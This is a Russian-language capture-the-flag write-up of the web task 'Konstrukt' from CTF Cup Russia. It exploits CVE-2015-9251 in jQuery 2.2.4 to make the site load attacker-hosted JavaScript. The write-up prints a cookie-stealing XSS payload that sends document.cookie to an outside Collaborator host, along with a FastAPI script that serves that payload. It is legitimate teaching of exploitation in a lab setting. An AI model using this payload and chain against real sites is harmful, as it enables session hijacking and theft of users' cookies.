October 27

Konstrukt | Web | CTF Cup Russia

@fefuctf @collapsz


Вступление

Всем привет!

27 октября завершился VIII Кубок CTF России, по результатам которого наша команда заняла 7 место. В сегодняшнем материале я хотел бы разобрать одну интересную цепочку, которую нам удалось реализовать в ходе решения задания Konstrukt вместе с @anodev.

Ставим одноименный трек на фон и помчали!

Решение

В задании нам даются все файлы приложения и возможность создать себе инстанс для решения (в рамках статьи решать будем на локальном инстансе).

Whitebox

Бегло пробежавшись по исходным файлам, мы подметили наличие скрипта bot.js, ненавязчиво намекающего, что у нас тут какой-то client-side.

bot.js

В остальном ничего интересного мы не нашли и отправились изучать веб-интерфейс приложения. А там у нас ничто иное как конструктор веб-сайтов с поддержкой Markdown и возможностью создавать страницы.

home

Немного поигравшись с MD мы пришли к тому, что в никакой уязвимости в явном виде мы здесь не найдем и отправились копать глубже.

Markdown

Мы начали с изучения веб-технологий, используемых веб-сайтом с в глаза сразу же бросилась библиотека jQuery версии 2.2.4 (актуальная версия – 3.7.1). Интересно.

jquery 2.2.4
Справка: jQuery — это быстрая, небольшая и функциональная JavaScript библиотека, которая упрощает работу с HTML-документами, обработку событий, анимацию и взаимодействие с AJAX. Она позволяет разработчикам писать меньше кода для выполнения сложных задач и обеспечивает кроссбраузерную совместимость.

Немного погуглив, мы нашли весьма интересную уязвимость, подходящую для нашей ситуации – CVE-2015-9251

CVE
Справка: CVE-2015-9251 — это уязвимость в библиотеке jQuery, которая может привести к выполнению произвольного кода через уязвимые версии jQuery при использовании метода $.ajax(). Эта уязвимость возникает из-за недостаточной проверки входных данных, что позволяет злоумышленнику манипулировать запросами и получать доступ к конфиденциальной информации или выполнять нежелательные действия на стороне клиента.

Окей, нашли уязвимость, как ее теперь применить? Описание уязвимости гласит о неком cross-domain Ajax request, поэтому и думать пришлось в сторону него:

CVE Detail

Небольшой ресерч позволил нам обнаружить, что при запросе вида http://base_url//example.com браузер посредством Ajax-запроса будет безуспешно пытаться запросить какой-то .json с example.com:

Source code

А при помощи Burp Collaborator мы убедились, что запросы действительно летят на подконтрольный нам сервер:

url

И вновь за каким-то .json

Collaborator

Собственно, вот и есть тот самый cross-domain Ajax request. Осталось дело за малым – дать ему то, что он хочет.

Для начала мы решили попробовать стандартную нагрузку для cookie hijacking:

document.location="https://uec4rpqgcs5dryq81ng1xqf990fs3ir7.oastify.com/?cookie="+document.cookie

Спойлер: её оказалось достаточно. Нагрузку записали её в файл data.js.

Далее нами был поднят простенький FastAPI-сервер, который в ответ на запрос по нужному нам маршруту возвращал содержимое файла data.js – нашу полезную нагрузку:

from fastapi import FastAPI
from fastapi.responses import Response
import uvicorn
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()



app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)


@app.get("/data.js.json")
def route():
    return Response(content=open('data.js').read(), media_type="application/javascript")


uvicorn.run(app, host="0.0.0.0", port=19000)
api & payload

Теперь, при обращении по адресу http://base_url//evil.com/data.js на наш FastAPI-севрер прилетает запрос на путь /data.js.json, тот самый, который мы описали в его логике:

Request

В ответ на что наш FastAPI заботливо возвращает XSS payload с заголовком content-type: application/javascript

xss

А на Collaborator прилетел запрос с нашими собственными cookie – трюк удался:

collabor

Осталось лишь дождаться, когда админ подарит нам свою куку, внутри нее и будет ответ к заданию.

Заключение

Несмотря на то, что выше описанное не выглядит чрезвычайно сложным, jQuery уязвимости в подобных заданиях встречаются нечасто и в результате таск провисел с нашим единственным решением почти 4 часа, прежде чем на него поступил второй солв. Такие дела.